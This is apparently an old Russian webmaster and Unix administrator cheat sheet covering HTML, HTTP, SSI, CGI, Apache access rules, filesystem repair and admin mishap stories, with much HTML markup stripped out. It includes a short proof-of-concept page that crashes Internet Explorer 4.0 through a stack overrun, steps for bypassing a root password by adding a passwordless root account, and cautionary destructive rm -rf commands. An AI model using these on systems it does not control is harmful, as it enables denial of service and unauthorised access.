Преформатированный фрагмент текста
Преформатированный фрагмент текста в ширину 80
Устанавливает общий отступ вправо. Вынесенный вправо фрагмент текстаГоризонтальная черта
Окончание параграфаЖесткий конец строки
Текст между этими тагами не будет переноситься на новую сторку каким бы длинным он не был &dDФизические стили&d@ Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3 Typewriter текст с фонтом фиксированной шириныStrike перечеркнутый текст&dDЛогические стили&d@ Definition. Определяемое слово italic Emphasis. Ударение italic Titles of books. Цитата italicProgramm. Программный текст fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold Выделяется адрес italic &dDУправление цветами и фонтами&d@ _BODY_ таги срабатывают только если расположены в самом начале документа А так устанавливают собственные цвета во всем документе А так делали траурные колера, когда протестовали. Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонтаДальше пойдет текст с фонтом заданного размера а так же background звук &dDТак выглядит обычная ссылка.&d@ Low impact &dDТак вставляют картинку&d@
Так подкладывают BACKGROUND &dDТаблички -&d@![]()
Если нужен текст сбоку от картинки
Отступ текста от картинки
ALT - что написать, если картинка не читается, LOWRES - перед рисованием большой картинки загрузить эту - маленькую
tr - задает строку Столбец Столбец Внутри таблицы может быть такой таг, Подзаголовок?
Табличка фиксированной ширины, не зависящая от размеров внутреннего текста
| Back to my home page moshkow@ipsun.ras.ru |
&dDВстроенная imagemap&d@
&dDО протоколе HTTP/1.*&d@
Клиент открывает tcp соединение с хостом www.host.com на порт
(обычно 80) и говорит туда
GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_документа_на_котором_стоял_клиент
Еще некоторое количество заголовков,
которые рассказывают серверу, кто с ним имеет дело.
Все они, кроме GET необязательны
. . .
^M^J - пустая строка - конец заголовков - конец запроса
Обратно вываливается ответ сервера:
http-шные заголовки
на нескольких строках
^M^J - пустая строка
Собственно запрошенный документ as is
&dDУпражнение:&d@ скажите
$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0
И потом два раза нажмите на Enter
&dDКак работет докачка в HTTP/1.1 протоколе?&d@
В запрос вставляется специальное поле "Range: bytes nnn-".
Сервер с докачкой возвращает код 206 - "Часть содержимого" и
передает запрошенную часть файла. Если сервер не поддерживает
докачки, он просто возвращает 200 и высылает весь файл как при
обычном запросе.
&dDSSI - Server Side Includes&d@
Полная спецификация лежит, например на www.apache.org ║ http://www.module.vympel.msk.ru/mirror/apache/docs/mod_include.html
0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
XBitHack full
и сделать им chmod g+x file.shtml
1. Чтобы SSI выполнялись, необходимо задать в конфигурационных
файлах сервера:
/etc/httpd/conf/access.conf :------------------------
# "Включить"
Options +Includes # или даже Options All
/etc/httpd/conf/srm.conf :------------------------
AddType text/html .shtml
AddHandler server-parsed .shtml
2. Тогда SSI отрабатываются только в файлах с расширением .shtml
Примеры:
charset=
The value will often be enclosed in double quotes; many comн
mands only allow a single attribute-value pair.
The allowed ELEMENTS are:
config - параметры парсинга
Атрибуты config
errmsg - сообщение об ошибке, посылаемое клиенту
sizefmt - формат размера файла
timefmt - формат даты модификации файла
var - напечатать имя переменной
exec - выполнить shell или CGI-скрипт
cgi - (%-encoded) URL relative path to the CGI script.
cmd - выполнить shell
fsize - напечатать размер файла
file - относительное имя файла
virtual -(%-encoded) URL-path relative файла
flastmod - последннее время модификации файла
include - вставить документ
file - вставляемый файл
virtual - URL - только на этом же хосте
Include variables
These are available for the echo command, and to any program
invoked by the document.
DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.
If server side includes are enabled, you will see data values below:
The date is:
The current version of the server
The CGI gateway version
The server name
This file is called:
This file's URI
The query string
This file was last modified:
The size of the unprocessed file
sample.html was last modified
You are using
You came from
# Эмуляция SSI в perl-cgi
if (//) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (//) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s//$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}
&dDУправление доступом через httpd.conf&d@
SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer
ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer
# No offline browsers в robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /
&dDCGI - спецификация интерфейса между сервером httpd&d@
и внешними, вызываемыми программами - gateeway'ями.
Сам CGI-script должен лежать в /home/httpd/cgi-bin
тогда его находят (или в других каталогах, описанных в acces.conf
Данные передаются в командной строке, через переменные
окружения, и через стандартный ввод. Возвращаются на
стандартный вывод, в начале должна стоять "волшебная строка"
Если добавить в коннфигурационный файл
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
То CGI-скрипты можно будет клась в любой подкаталог дерева
документов - с расширением .cgi
&dDФормы и индексы&d@
Войти в файл, и спозиционироваться на строку с шаблоном "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl
Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента:
extra path - "добавочный маршрут", идущий вслед за именем екзешника
query - длинная строка после знака "?"
на extra path работает image map - им передается имя описателя картинки
query передается заполненным ISINDEX
&dDCGI-скрипту передаются такие параметры:&d@
Параметры передаются в переменных окружения.
REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
REQUEST_METHOD=GET
QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut
SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified
А теперь вот как оформляются формы с checkbox'ами:
# ISINDEX - параметр запроса передается пргограмме CGI в $1
# В форме METHOD=GET - там вызывается команда которой передается
# аргумент в переменной окружения QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
# А вот как работает POST, и PUT. Дополнительная информация проталкивается
клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод.
длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH
а тип данных - в CONTENT_TYPE
FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
&dDЧто мы посылаем клиенту обратно:&d@
Status: 200 OK
Status: 404 File not found
Content-type: text/html
Содержимое, которое кидается сквозь нашего сервера - клиенту
Если я генерю не содержимое, а только ссылку, то:
Location: /path/doc.txt
или
Location: gopher://gopher.ncsa.uiuc.edu/
Генерим текст в чистом серверном виде - он поедет
клиенту сразу, без дополнительной фильтрации:
--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132
This is a plaintext document generated on the fly just for you.
--- end of output ---
Подставляйте туда соответствующие значения переменных
$SERVER_PROTOCOL $SERVER_SOFTWARE
&dDФенечки&d@
Автоподстановка URL с timeout'ом. Подставить в начало документа:
Дальше идет местный HTML-документ - который через 12 секунд будет
автоматически заменен на вышеуказанный URL
Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в
HTTP-заголовок документа. Например "насильственное взведение charset'а:
Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил
Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml ║ http://citforum.ru/win/internet/html/c_what_is.shtml
Если сказать так, то клиент останется на старом месте, и не
будет переходить по ссылке
Status: 204 No Content
А такой линк позволяет сразу заполнить некоторые поля в mailto послании
tets
Самокликаемое письмо
> Была идея посылать в него сообщение когда мышкой над баннером проводят.
> (Когда баннер интересен, часто к нему курсор подводят)
> Но что-то я не допгр как это реализовать без hidden frame.
В правилах устанавливаешь, что у тебя _стандартный код_
твоей сетки содержит:
Когда клиент будет снизу _пересекать_ мышью твою однопиксельную
полоску будет автоклик, а чтоб клиента не напрягать -
пускай твой http://koshelev.ru/cgi-bin/bannerOver
возвращает код 204 No Content - т.е. _не переходить_ на линк а
остаться на старой странице.
&dDСсылка на которую переходят автоматически&d@
Достаточно навести на эту ссылку мышь, и броузер пойдет по
линку - без клика.
&dDПростые эксплойты&d@
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
&dDЗакрытие каталогов для внешних клиентов&d@
Создаем в каталоге файл .htaccess такого содержания
order deny,allow
deny from all
allow from polimos.ras.ru localhost
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau стандартный crypt()
require valid-user
&dDСм. так же&d@
Константин Окраинец. Учебник по HTML из Дубны ║ http://sundg0.jinr.dubna.su/wguide/
Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3 ║ ../WEBMASTER/html20new.txt
.
&dDРемонт разрушенных файловых систем&d@
Практически единственное средство лечения разрушений файловой системы во
всех Unix - утилита &dDfsck&d@. Если не лечит она, то дело ваше почти безнадежно.
Я бы посоветовал в морг, но энтузиасты могут еще немного подергаться.
&dD * LINUX * &d@
Примечание: команды приведенные в примерах следует выполнять только
внимательно взвесив возможные последствия. Поэтому в примерах реальные
имена спецфайлов разделов жесткого диска заменены на &dD/dev/hd-name&d@
(в реальной жизни применяется /dev/hda2, /dev/hdb3 /dev/sda1...)
Тонкая рихтовка fs &dDtune2fs&d@ позволяет поменять настраиваемые параметры
файловой системы -c max-mount-counts -m reserved-blocks-percentage и т.п.
tune2fs -m 1 /dev/hd-name # найдет вам еще 50Mb свободного места,
# и позволит учинить на оставшемся клочке
# свободного места катастрофическую фрагментацию
Стандартное лечение файловой системы:
fsck -y -c -f /dev/hd-name
Форсированное лечение с проверкой и "замещением" bad-блоков
fsck -y -c -f /dev/hd-name
# -y неинтерактивное лечение "yes" на все вопросы
# -c найти bad-блоки readonly тестом и перенести в inod bad-блоков
# -f форсировать проверку (игнорировать флаг "fs is clean"
Если погиб основной суперблок, добавить ключ -b 8193 или -b 16385 ...
указав запасную копию. Номера запасных sb сообщает при разметке раздела
утилита newfs. (Вы конечно же сохранили ее листинг?)
Распечатать размещение служебных структур fs и параметры суберблока
могут команды &dDtune2fs -l&d@ и &dDdumpe2fs&d@
tune2fs /dev/hd-name
dumpe2fs /dev/hd-name
Если погибли _все_ копии суперблока - последний шанс &dDmke2fs -S&d@ прописать
_только_ структуры суперблоков и описатели групп, не трогая самих данных
mke2fs -S /dev/hd-name # Write superblock and group descriptors only
fsck -y /dev/hd-name # сразу всед за этим запустить fsck
И даже это еще не конец. Для сильных духом остается отладчик файловой
системы &dDdebugfs&d@
man debugfs
&dDПоведение в авариной ситуации&d@
Естественно, целее будете, если загрузитесь в single-user mode
Для этого перехватить при загрузке LILO-промпт (Left-alt)
И в команду загрузки добавить параметр single
Lilo: &dDlinux single&d@
В linux'овский single-user можно попасть только зная пароль root. Не зная
пароля, надо грузиться так:
Lilo: linux init=/bin/sh
или даже так (если подготовлена rescue-дискета с файловой системой unix)
Lilo: linux init=/bin/sh root=/dev/fd0H1440
Перемонтировать корневой раздел из readonly в write
mount -t ext2 -n -o remount,rw /dev/hd-root /
Смонтировать разрушенную fs, используая альтернативный суперблок
mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname
Пдробности (вы будете смеяться):
man mount
.
&dDМаксим Мошков. Истории из жизни администратора Unix, или Грабли&d@
&dDИстория 1 со счастливым концом. Испорченный /etc/passwd&d@
&dD
> Один товарищ (не я :), это из Коми) решил своему root'y вместо положенного
> /sbin/sh сделать /bin/ksh
> Для чего отредактировал /etc/passwd, но неудачно, ошибся и назначил
> /sbin/ksh.
> Пробовали:
> $ su root -c /sbin/sh
> Не помогло. Теперь он горько плачет и хакера зовет.
> Можешь помочь, или суровое: переустанови юних?
&d@
Это мы проходили. Классика. Перво- наперво "никогда, НИКОГДА
не меняй shell у суперюзера..." :-)
0. Запустить shell из-под root'а все-таки можно: su root -m -s /bin/sh
Но если еще и пароль забыт, тогда - поможет загрузка в
single user mode или загрузка с CD/floppy/tape
1. Дать команду df, посмотреть минор/мажор у девайса, на
который монтируется корень, и затем почитать мануал по команде
mknod # mkdev, mknode, mksf - создать специальный файл
# или как там еще она называется
и записать на бумажке команду, которой создается
спец-файл /dev/root (или куда там монтируется "/"
2. Загрузиться с инсталляционного стриммера/дискеты/CD.
и там где уход на install/update/system maintance пойти на
"system maintence" (это всего навсего shell root'овый)
Осталось смонтировать /dev/root на /mnt
и редактировать /mnt/etc/passwd
&dDЗасада No 1&d@
Сразу после загрузки мини-системы специальных файлов
соответствующих жесткому диску нет (!). Сделать его ручками -
команда mknode уже записана на бумажке.
&dDЗасада No 2&d@
Редактор vi не запускается (Нет terminfo) Ну и черт с ним.
Придумаешь что нибудь. Например
echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
^^^^^^
обрати внимание что >> а не > (Угадай почему :-)
а можно и так:
PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
TERMINFO=/mnt/usr/lib/terminfo # или где он там
Короче - ты дома потренируйся, а потом в Коми напиши точные
имена файлов и команд, а то боюсь необученный админ сможет
промахнуться пару раз, а здесь промахиваться нельзя.
Приложение: Обход root passwd в Motorola Unix SVR4/88.
1. Посмотреть major/minor для / и /usr
104 0 /dev/root
104 3 /dev/dsk/m197_c0d0s3
2. Загрузка с ленты, уход на maintance .
3. Подмонтировать разделы диска, соответствующие / и /usr, с
восстановлением файловой системы (т.к. система была выключена некорректно
при отсутствии root пароля).
mkdir /mnt
mknod /dev/rootn b 104 0
/etc/fs/ufs/fsck /dev/rootn
mount -F ufs /dev/rootn /mnt
аналогично для /usr
mknod /dev/usr3 b 104 3
/etc/fs/ufs/fsck /dev/usr3
mount -F ufs /dev/usr3 /mnt/usr
4. Отредактировать /etc/passwd, сделать беспарольного root
echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd
5. Cменить корень root'у (будет в /mnt)
chroot /mnt /sbin/sh
6. Обновить shadow
pwconv
Все.
&dDИстория 2 почти о том же. Испорченный /etc/fstab&d@
Date: 20 Apr 1997
From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)
У меня тоже было - запортил я /etc/fstab и сделал reboot не
заметив ошибки - бабах - поднимается (а это был Axil с SunOS
4.1) в single user.
я делаю ls - Command not found - понятно - не замоунтил /usr
посмотрел я на другом SUN'е что есть в /sbin - нашел mount,
обрадовался - сделал /sbin/mount /usr.
Есть VI!
Помучался пока установил нужный set TERM с полчаса - запустил
VI. открываю fstab - фигня со строками (вот оно - не работайте
в PICO, учите VI !!!), исправил, save'лю - а root partition то
READ ONLY !!!
Делаю stop-A.
Слава богу, посоветовали мне, что в boot-мониторе можно сделать
b -rw (замаунтить с write), после этого я повторил всю
процедуру с mount и VI и исправил /etc/fstab.
а... еще забыл - VI не запускался пока я /var не замаунтил, т.к
/tmp - линк на /var/tmp , а VI без /tmp не идет.
/* а на Linux специальная команда есть - перемонтироваться на
read-write - ее из single-user-mode можно выполнить
mount -n -o remount /
*/
&dDКоманда rm -rf в SCO&d@
Ввиду того, что под шаблон ".*" подходит каталог ".."
НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ rm -r .*
(Большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ)
&dD
From: Павел Северов
"... решил я на нашем SCO-шном сервере с Oraclовской базой
расчистить немного свободного места на диске..."
# cd /usr/tmp
# rm -rf *
гляжу, а там всякий хлам остался /usr/tmp/.X11-0 ну и т.п.
А я тогда
# rm -rf .* # ОЙ!
# du
ldd: Can not open file
# df
ldd: Can not open file
# ls -al
ldd: Can not open file
&d@
. . .
У этой истории грустный конец. Вы уже догадались, что
/usr/tmp/.* содержит в себе /usr/tmp/.. После reboot'а машина,
не найдя каталога /usr уже не ожила.
&dDУдаленный доступ или "Запасной ключ от сейфа лежит в сейфе"&d@
Хорошая штука, Unix + TCP/IP - можно отконфигурить машину
у черта на куличках не вставая с рабочего места и даже не
выходя из дома.
&dDИстория 1.&d@ Вот и я однажды менял то ли IP-адрес, то ли
роутинг на удаленной машине... Короче - промахнулся, сказал
ifconfig eth0 down
Вот собственно и все. Сказать
ifconfig eth0 NEW-IP было уже некому.
Вы конечно догадались, что _НАДО БЫЛО_ одной строкой писать
ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...
&dDИстория 2.&d@ Захотелось повысить уровень security. Пишем
в /etc/hosts.deny
ALL:ALL
в /etc/hosts.allow
ALL:193.263.12.13
^^^ вроде бы маленькая ошибочка, цифры переставить, а
нельзя - я уже успел отлогиниться.
&dDУдаленный "доступ" или "Ключа вообще нет"&d@
Повис у нас однажды сервер, надо reset нажать,
перегрузить, а комната заперта, и ключи уже унесли. И telnet'ом
не войдешь - некуда.
Вырубили свет на всем этаже, включили вновь - voila!
&dDНовая /lib/libc.so - апгрейд LIB C&d@
Linux. 1993 год. Потребовалось подменить LibC. Ну, вперед,
делов-то - старую передвинуть, новую - на ее место.
cd lib
mv libc.so libc.so-old
mv libc.so-new libc.so
ldd: Can not execute, shared library not found
Finish.
Пришлось грузиться с дискеты, монтировать hd.
Но, как это ни смешно, в следующий раз те же команды,
записанные в одну строку, сработали. Или библиотечка в кэше
оказалась... Темна вода в Linuxе. Впрочем, файлы из каталога
/sbin - обычно staticaly-linked - им для работы разделяемая
libc без надобности.
&dDИстория 1. Trusted mode - безопасность превыше всего&d@
В HP-UX новички администраторы очень любят sam'ом поиграть
- GUI, мышиный интерфейс - администрируй на здоровье. Вот
только читать сообщения надо - а они по-английски все.
Очень легко, одним "Ok" в SAM включается перевод системы в
trusted режим. Включают, и не замечают. А замечают через пару
дней, когда с трех раз не угадают пароль root. В trusted режиме
логин после этого блокируется совсем, а другого юзера ПЕРЕД
ЭТИМ завести - не догадываются.
Как всегда - нас спасет single user mode: перехват
загрузки в prompt IPL и затем
IPL> hpux -is
А затем запуск sam. И переконвертировать систему в "untrusted"
# mount -a
# sam
Но если вы ухитрились еще и пароль на boot включить - то
помогайте себе сами.
&dDИстория 2. Security class C2: о том же, но в SCO&d@
Security class C2 - это повышенная безопасность. И повышенный
геморрой для пользователей. И для администратора - тоже.
Привелось нам позвонить на защищенную SCO машину из Москвы
в Питер, по модему. Скорости getty с первого раза подобрать не
смогли, на логин прорывался 6-битный мусор, после третьей
попытки вместо getty Login мы увидели "Intruder attempts, tty
line /dev/modem disabled".
Через пару недель хозяин машины вернулся в Питер и вернул getty.
&dDScreen-сейвер и кнопка Enter&d@
Когда screen-saver гасит экран, что вы нажимаете? Не знаю, как остальные, а
я жму клавишу CTRL.
Один мой знакомый решил почистить каталог /tmp. Из-под root'а. набирает он
rm -rf /tmp/*, точнее хочет набрать, поскольку в момент
rm -rf /_ звонит телефон и его куда-то вызывают.
Через час он вернулся, увидел погашенный экран, и нажал _свою_ любимую
клавишу. Угадайте, какую?
.